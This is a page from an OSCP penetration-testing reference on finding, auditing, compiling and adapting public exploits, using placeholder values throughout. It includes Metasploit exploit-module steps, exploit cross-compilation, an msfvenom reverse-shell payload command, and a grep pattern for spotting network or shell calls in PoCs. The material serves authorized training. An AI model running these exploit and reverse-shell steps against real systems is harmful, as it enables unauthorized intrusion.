Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Initial access/Public exploits

REFERENCE / 4 TASKS

Public exploits

Search the confirmed product/CVE, read the PoC requirements, then fix its runtime and target parameters. Verify the effect before claiming access.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • Selection and local runtime
    • Match a public exploit to the actual component and configuration
    • Audit a PoC and reproduce its interpreter/dependency environment
  • Native and web adaptation
    • Compile and minimally adapt an existing native or memory-corruption PoC
    • Repair a web PoC using the real HTTP transaction

Tools & scripts

SearchSploit upstream ↗
Find and inspect a PoC matching the exact feature/configuration.
Python venv upstream ↗
Separate local runtime/dependency errors from target rejection.
GCC upstream ↗
Match process architecture, ABI and required libraries.

Selection and local runtime

Match a public exploit to the actual component and configuration

Contents ↑

Use when: A product/version clue, advisory or component-specific public PoC

Needs: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Client commands / example output

# Baseline
source URL/EDB-ID/CVE/commit:
product + component + edition/build:
target OS/architecture/runtime:
remote or local; pre-auth or authenticated:
required configuration/feature/path/credential/privilege:
expected effect:
exploit runtime and dependencies:
hard-coded target/callback/payload assumptions:
destructive or stability risk:
evidence each prerequisite exists:

Shell commands

# Baseline
searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"

Inspect before copying

# Inspect before copying
searchsploit -p EDB_ID
searchsploit -x EDB_ID
searchsploit -w "PRODUCT VERSION"

# Copy a working copy, never edit the archive in place
mkdir -p exploit-work
cd exploit-work
searchsploit -m EDB_ID
sha256sum EXPLOIT_FILE
file EXPLOIT_FILE

Shell commands

Selection cue: prefer a readable, reputable or verified exploit whose prerequisites and outcome match the observed component. Exclude denial-of-service entries when the objective is access.

# Baseline
nmap --script-help SCRIPT_NAME
sed -n '1,240p' /usr/share/nmap/scripts/SCRIPT_NAME.nse
nmap -Pn -p PORT --script SCRIPT_NAME --script-args 'ARG=VALUE' TARGET

# Record and pin the exact source state
git clone REPOSITORY_URL exploit-source
cd exploit-source
git log -1 --format='%H %ad %s' --date=iso-strict
git status --short

A matching Metasploit exploit module

Use only in an authorized lab or after committing the current exam's one allowed Metasploit/Meterpreter target. Even check against a target consumes that choice under the current guide.

# Variant — a matching Metasploit exploit module
msfconsole -q
search type:exploit PRODUCT CVE
info MODULE_NAME
use MODULE_NAME
show options
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
check
run

Read info, verify the module's affected versions/references, select the explicit target profile and inspect every required option. A module rank or check result does not replace exact prerequisite validation or session verification.

Read / verify → Write the evidence for every prerequisite and the minimal effect that would validate the hypothesis.

If it fails → A scanner's CVE label or a copied walkthrough command is insufficient. Resolve the build/feature gap before running the PoC.

  • A plausible exploit fails before reaching the target or has unreviewed side effects → Audit a PoC and reproduce its interpreter/dependency environment
  • An exploit sends requests but authentication, routing or parsing differs from the target → Repair a web PoC using the real HTTP transaction
  • Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually
  • A reviewed module fits a verified exploit prerequisite set → Use a framework module with explicit target and feature constraints

Prerequisite checks & examples →Full technique →

Audit a PoC and reproduce its interpreter/dependency environment

Contents ↑

Use when: A plausible exploit fails before reaching the target or has unreviewed side effects

Needs: Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies

Start with metadata and readable text

# Start with metadata and readable text
file EXPLOIT_FILE
sha256sum EXPLOIT_FILE
sed -n '1,240p' EXPLOIT_FILE
grep -nEi 'sudo|setuid|chmod|chown|rm |unlink|remove|subprocess|system\(|popen|exec\(|socket|connect|requests|curl|wget|powershell|cmd\.exe|/bin/(ba)?sh|http://|https://' EXPLOIT_FILE

If only a binary exists, treat it as a substantially higher-risk choice

For binaries, prefer obtaining inspectable source. If only a binary exists, treat it as a substantially higher-risk choice:

# If only a binary exists, treat it as a substantially higher-risk choice
file EXPLOIT_BINARY
sha256sum EXPLOIT_BINARY
strings -a EXPLOIT_BINARY | less
objdump -f EXPLOIT_BINARY

# Baseline
head -n 1 EXPLOIT_FILE
python3 --version
gcc --version
file EXPLOIT_FILE

After source review

  1. where the exploit program itself runs;
  2. the vulnerable target process;
  3. the payload that will execute inside or on the target.

A remote Python exploit may run on Kali while delivering a Windows x64 payload. A local Linux exploit normally must run on the target-compatible architecture. Compiler choice follows the produced program; payload choice follows the target execution context.

# After source review
python3 -m py_compile exploit.py
python3 exploit.py --help

# Isolate explicit dependencies
python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
python -m pip freeze > requirements-resolved.txt

Useful diagnostics

Run --help only after confirming that module import and argument handling do not trigger the exploit. Old Python 2 syntax, str/bytes mistakes, renamed modules and obsolete TLS dependencies are runtime problems, not target evidence.

# Useful diagnostics
python3 -X dev exploit.py ARGUMENTS
python3 -m trace --trace exploit.py ARGUMENTS

# Linux/Kali virtual environment
python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt

Use tracing only when its output is bounded and does not expose credentials. Prefer adding a few prints around the failing request/parser over changing many lines at once.

Install one explicitly selected package only when needed

# Install one explicitly selected package only when needed
python -m pip install PACKAGE

# Linux/Kali virtual environment
python -m pip show PACKAGE
python -m pip freeze
deactivate

Windows PowerShell

# Windows PowerShell
py -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
deactivate

Reproducibility checks

# Reproducibility checks
python --version
python -m pip --version
python -m pip freeze > requirements-resolved.txt

# uv alternative for a Python PoC with missing dependencies
# Run outside the current project's dependencies, supplying the known dependency
uv run --no-project --with requests exploit.py --help

# For a script with its own inline dependency metadata
uv run --script exploit.py --help

Read: a working help/import path establishes the local runtime only. Inspect actual arguments, authentication and target requirements before execution. Pin dependency versions when the PoC depends on an older API; an ImportError and a target-side exploit failure are different boundaries. Dependency resolution can require Internet access.

Read / verify → Confirm interpreter/dependency identity and observable intended request behavior; preserve the reviewed source and changes.

If it fails → Do not solve every old script with a global package change. Inspect Python-version semantics and choose a supported environment or minimal reviewed edit.

  • An exploit sends requests but authentication, routing or parsing differs from the target → Repair a web PoC using the real HTTP transaction
  • An existing C/C++ or platform-specific PoC matches the candidate → Compile and minimally adapt an existing native or memory-corruption PoC
  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries

Prerequisite checks & examples →Full technique →

Native and web adaptation

Compile and minimally adapt an existing native or memory-corruption PoC

Contents ↑

Use when: An existing C/C++ or platform-specific PoC matches the candidate

Needs: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Linux/ELF program

# Linux/ELF program
gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit

32-bit output requires matching headers/libraries

# 32-bit output requires matching headers/libraries
gcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32

# Windows PE from Kali
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe

# Windows socket code commonly needs the Winsock import library
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32

# Change one assumption at a time and retain a diff
cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Replace an embedded payload only when the PoC documents its constraints

AssumptionEvidence-backed edit
Target address/portObserved reachable endpoint
HTTP/HTTPS and base pathReproduced application request
Virtual host or Host headerResolved application identity
Username/password/cookieValid Block 5 authentication context
CSRF/session parsingActual request/response sequence
LHOST/LPORTAddress and listener reachable from the target context
Command or payloadTarget OS, interpreter, architecture, size and bad-character constraints
File path/nameWritable/executable target path and application behavior
Timeout/retryMeasured service behavior, not blind delay inflation

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Replace an embedded payload only when the PoC documents its constraints:

# Replace an embedded payload only when the PoC documents its constraints
msfvenom -p windows/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f c -v payload \
  -b '\x00\x0a\x0d'

Read / verify → Verify artifact format, architecture, required runtime and actual exploit effect independently.

If it fails → A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • An existing exploit/delivery primitive needs a binary or raw payload → Generate a payload matching OS, process, format and handler
  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime

Prerequisite checks & examples →Full technique →

Repair a web PoC using the real HTTP transaction

Contents ↑

Use when: An exploit sends requests but authentication, routing or parsing differs from the target

Needs: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Before changing the script, reproduce the relevant request with Burp or curl and compare

# Before changing the script, reproduce the relevant request with Burp or curl and compare
curl -i -X METHOD 'SCHEME://HOSTNAME:PORT/PATH' \
  -H 'Host: HOSTNAME' \
  -H 'Cookie: COOKIE' \
  --data 'PARAM=VALUE'

# For a scoped lab with a known self-signed certificate
curl -k -i 'https://HOSTNAME:PORT/PATH'

In Python Requests, use a session when cookies or defaults must persist

# In Python Requests, use a session when cookies or defaults must persist
with requests.Session() as session:
    response = session.get(url, timeout=10)
    print(response.status_code, response.url)
    print(response.headers)
    print(response.text[:500])

Set verify=False only for a scoped test after confirming the certificate problem; it disables certificate and hostname validation. Prefer a supplied CA bundle when possible.

Parser cue: IndexError, missing-key and regular-expression failures mean the received response did not have the assumed shape. Print status, final URL, headers and a bounded body fragment before rewriting the parser. Common causes are a changed path, redirect, failed login, CSRF change, error page, proxy/WAF response or certificate handling.

Read / verify → Check the target action/output rather than trusting the PoC's success string.

If it fails → A normal HTTP response can be an authentication or parsing failure. Separate application request repair from payload/callback diagnosis.

  • An input appears in a command-like operation or causes shell-dependent behavior → Prove visible or blind operating-system command injection
  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Find a PoC for the confirmed component

SearchSploit/advisory results are candidates. Read the feature, build, authentication and configuration requirements.

searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"
  • If The vulnerable feature and required access match → Audit a PoC and reproduce its interpreter/dependency environment

    Read the PoC code and recreate its runtime before execution.

Otherwise: Only the banner/version matches: return to component enumeration. Open Identify applications and validate selected NSE checks →

Full commands & alternatives →

Inspect interpreter, dependencies and request assumptions

Do not debug blindly by changing payloads; separate a local runtime failure from a target-side rejection.

file exploit.py
python3 --version
python3 -m venv .venv
. .venv/bin/activate
  • If Native source/build mismatch → Compile and minimally adapt an existing native or memory-corruption PoC

    Match process architecture and ABI before compiling.

  • If Login, CSRF, path or schema differs → Repair a web PoC using the real HTTP transaction

    Reconstruct the real protected request.

Otherwise: The program runs but no effect is verified: return to the advisory's exact conditions. Open Match a public exploit to the actual component and configuration →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8